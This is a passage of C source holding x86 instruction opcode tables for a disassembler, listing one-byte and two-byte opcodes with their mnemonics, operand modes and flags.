    AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_MOVSR,  \"mov\",       AM_E|OT_w|P_w,               AM_S|OT_w|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_LEA,    \"lea\",       AM_G|OT_v|P_w,               AM_M|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_MOVSR,  \"mov\",       AM_S|OT_w|P_w,               AM_E|OT_w|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_POP,    \"pop\",       AM_E|OT_v|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"nop\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_XCHG,   \"xchg\",      AM_REG|REG_EAX|OT_v|P_w,     AM_REG|REG_ECX|OT_v|P_w,   FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_XCHG,   \"xchg\",      AM_REG|REG_EAX|OT_v|P_w,     AM_REG|REG_EDX|OT_v|P_w,   FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_XCHG,   \"xchg\",      AM_REG|REG_EAX|OT_v|P_w,     AM_REG|REG_EBX|OT_v|P_w,   FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_XCHG,   \"xchg\",      AM_REG|REG_EAX|OT_v|P_w,     AM_REG|REG_ESP|OT_v|P_w,   FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_XCHG,   \"xchg\",      AM_REG|REG_EAX|OT_v|P_w,     AM_REG|REG_EBP|OT_v|P_w,   FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_XCHG,   \"xchg\",      AM_REG|REG_EAX|OT_v|P_w,     AM_REG|REG_ESI|OT_v|P_w,   FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_XCHG,   \"xchg\",      AM_REG|REG_EAX|OT_v|P_w,     AM_REG|REG_EDI|OT_v|P_w,   FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"cbw\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"cwd\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_CALL,   \"callf\",     AM_A|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"wait\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"pushf\",     FLAGS_NONE|P_r,              FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_POP,    \"popf\",      FLAGS_NONE|P_w,              FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"sahf\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"lahf\",      FLAGS_NONE|P_w,              FLAGS_NONE|P_r,            FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_EAX|OT_b|P_w,     AM_O|OT_v|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_EAX|OT_v|P_w,     AM_O|OT_v|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_O|OT_v|P_w,               AM_REG|REG_EAX|OT_b|P_r,   FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_O|OT_v|P_w,               AM_REG|REG_EAX|OT_v|P_r,   FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOVS,   \"movsb\",     FLAGS_NONE|P_w,              FLAGS_NONE|P_r,            FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOVS,   \"movsd\",     FLAGS_NONE|P_w,              FLAGS_NONE|P_r,            FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_CMPS,   \"cmpsb\",     FLAGS_NONE|P_r,              FLAGS_NONE|P_r,            FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_CMPS,   \"cmpsd\",     FLAGS_NONE|P_r,              FLAGS_NONE|P_r,            FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_TEST,   \"test\",      AM_REG|REG_EAX|OT_b|P_r,     AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_TEST,   \"test\",      AM_REG|REG_EAX|OT_v|P_r,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_STOS,   \"stosb\",     FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_STOS,   \"stosd\",     FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_LODS,   \"lodsb\",     FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_LODS,   \"lodsd\",     FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_SCAS,   \"scasb\",     FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_SCAS,   \"scasd\",     FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_AL|OT_b|P_w,      AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_CL|OT_b|P_w,      AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_DL|OT_b|P_w,      AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_BL|OT_b|P_w,      AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_AH|OT_b|P_w,      AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_CH|OT_b|P_w,      AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_DH|OT_b|P_w,      AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_BH|OT_b|P_w,      AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_EAX|OT_v|P_w,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_ECX|OT_v|P_w,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_EDX|OT_v|P_w,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_EBX|OT_v|P_w,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_ESP|OT_v|P_w,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_EBP|OT_v|P_w,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_ESI|OT_v|P_w,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_REG|REG_EDI|OT_v|P_w,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"g2\",        AM_E|OT_b,                   AM_I|OT_b,                 FLAGS_NONE,   1 }, \n\t{ INSTRUCTION_TYPE_OTHER,  \"g2\",        AM_E|OT_v,                   AM_I|OT_b,                 FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_RET,    \"retn\",      AM_I|OT_w|P_r,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_RET,    \"ret\",       FLAGS_NONE|P_r,              FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_LFP,    \"les\",       AM_G|OT_v|P_w,               AM_M|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_LFP,    \"lds\",       AM_G|OT_v|P_w,               AM_M|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_E|OT_b|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_E|OT_v|P_w,               AM_I|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"enter\",     AM_I|OT_w|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_POP,    \"leave\",     FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_RET,    \"retf\",      AM_I|OT_w|P_r,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"retf\",      FLAGS_NONE|P_r,              FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_INT,    \"int3\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_INT,    \"int\",       AM_I|OT_b|P_r,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"into\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"iret\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"g2\",        AM_E|OT_b,                   AM_I1|OT_b,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"g2\",        AM_E|OT_v,                   AM_I1|OT_b,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"g2\",        AM_E|OT_b,                   AM_REG|REG_CL|OT_b,        FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"g2\",        AM_E|OT_v,                   AM_REG|REG_CL|OT_b,        FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ASC,    \"aam\",       AM_I|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_ASC,    \"aad\",       AM_I|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"salc\",      FLAGS_NONE|P_w,              FLAGS_NONE|P_r,            FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"xlat\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"esc\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"esc\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"esc\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"esc\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"esc\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"esc\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"esc\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"esc\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_LOOP,   \"loopn\",     AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_LOOP,   \"loope\",     AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_LOOP,   \"loop\",      AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jecxz\",     AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PRIV,   \"in\",        AM_REG|REG_AL|OT_b|P_w,      AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PRIV,   \"in\",        AM_REG|REG_EAX|OT_v|P_w,     AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PRIV,   \"out\",       AM_I|OT_b|P_w,               AM_REG|REG_AL|OT_b|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PRIV,   \"out\",       AM_I|OT_b|P_w,               AM_REG|REG_EAX|OT_v|P_r,   FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_CALL,   \"call\",      AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMP,    \"jmp\",       AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMP,    \"jmpf\",      AM_A|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMP,    \"jmp\",       AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PRIV,   \"in\",        AM_REG|REG_EAX|OT_b|P_w,     AM_REG|REG_EDX|OT_w|P_r,   FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PRIV,   \"in\",        AM_REG|REG_EAX|OT_v|P_w,     AM_REG|REG_EDX|OT_w|P_r,   FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PRIV,   \"out\",       AM_REG|REG_EDX|OT_w|P_w,     AM_REG|REG_EAX|OT_b|P_r,   FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PRIV,   \"out\",       AM_REG|REG_EDX|OT_w|P_w,     AM_REG|REG_EAX|OT_v|P_r,   FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"ext\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"int1\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"ext\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"ext\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PRIV,   \"hlt\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"cmc\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"g3\",        AM_E|OT_b,                   FLAGS_NONE,                FLAGS_NONE,   1 }, \n\t{ INSTRUCTION_TYPE_OTHER,  \"g3\",        AM_E|OT_v,                   FLAGS_NONE,                FLAGS_NONE,   1 }, \n\t{ INSTRUCTION_TYPE_OTHER,  \"clc\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"stc\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"cli\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"sti\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"cld\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"std\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"g4\",        AM_E|OT_b,                   FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"g5\",        AM_E|OT_v,                   FLAGS_NONE,                FLAGS_NONE,   1 }, \n};\n\n\n// 2-byte instructions\n\nINST inst_table2[256] = {\n        { INSTRUCTION_TYPE_OTHER,  \"g6\",        AM_E|OT_w,                   FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  \"g7\",        AM_M|OT_w,                   FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_PRIV,   \"lar\",       AM_G|OT_v|P_w,               AM_E|OT_w|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_PRIV,   \"lsl\",       AM_G|OT_v|P_w,               AM_E|OT_w|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  \"loadall286\",FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  \"clts\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  \"loadall\",   FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_PRIV,   \"invd\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  \"wbinvd\",    FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  \"ud2\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"movups\", AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"movups\", AM_W|OT_ps|P_w,              AM_V|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"movlps\", AM_V|OT_q|P_w,               AM_M|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"movlps\", AM_M|OT_q|P_w,               AM_V|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"unpcklps\",AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"unpcklps\",AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"movhps\", AM_V|OT_q|P_w,               AM_M|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"movhps\", AM_M|OT_q|P_w,               AM_V|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_PRIV,   \"mov\",       AM_R|OT_d|P_w,               AM_C|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_PRIV,   \"mov\",       AM_R|OT_d|P_w,               AM_D|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_PRIV,   \"mov\",       AM_C|OT_d|P_w,               AM_R|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_PRIV,   \"mov\",       AM_D|OT_d|P_w,               AM_R|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_PRIV,   \"mov\",       AM_R|OT_d|P_w,               AM_T|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_PRIV,   \"mov\",       AM_T|OT_d|P_w,               AM_R|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"movaps\", AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"movaps\", AM_W|OT_ps|P_w,              AM_V|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"cvtpi2ps\",AM_V|OT_ps|P_r,              AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"movntps\",AM_M|OT_ps|P_w,              AM_V|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"cvttps2pi\",AM_P|OT_q|P_r,               AM_W|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"cvtps2pi\",AM_P|OT_q|P_r,               AM_W|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"ucomiss\",AM_V|OT_ss|P_w,              AM_W|OT_ss|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"comiss\", AM_V|OT_ss|P_w,              AM_W|OT_ss|P_w,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER, \"wrmsr\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER, \"rdtsc\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_PRIV,  \"rdmsr\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER, \"rdpmc\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  \"sysenter\",  FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_PRIV,  \"sysexit\",    FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_MOVC,   \"cmovo\",     AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVC,   \"cmovno\",    AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVC,   \"cmovb\",     AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVC,   \"cmovae\",    AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVC,   \"cmove\",     AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVC,   \"cmovne\",    AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVC,   \"cmovbe\",    AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVC,   \"cmova\",     AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVC,   \"cmovs\",     AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVC,   \"cmovns\",    AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVC,   \"cmovp\",     AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVC,   \"cmovnp\",    AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVC,   \"cmovl\",     AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVC,   \"cmovge\",    AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVC,   \"cmovle\",    AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVC,   \"cmovg\",     AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"movmskps\",AM_G|OT_d|P_w,               AM_V|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"sqrtps\", AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { 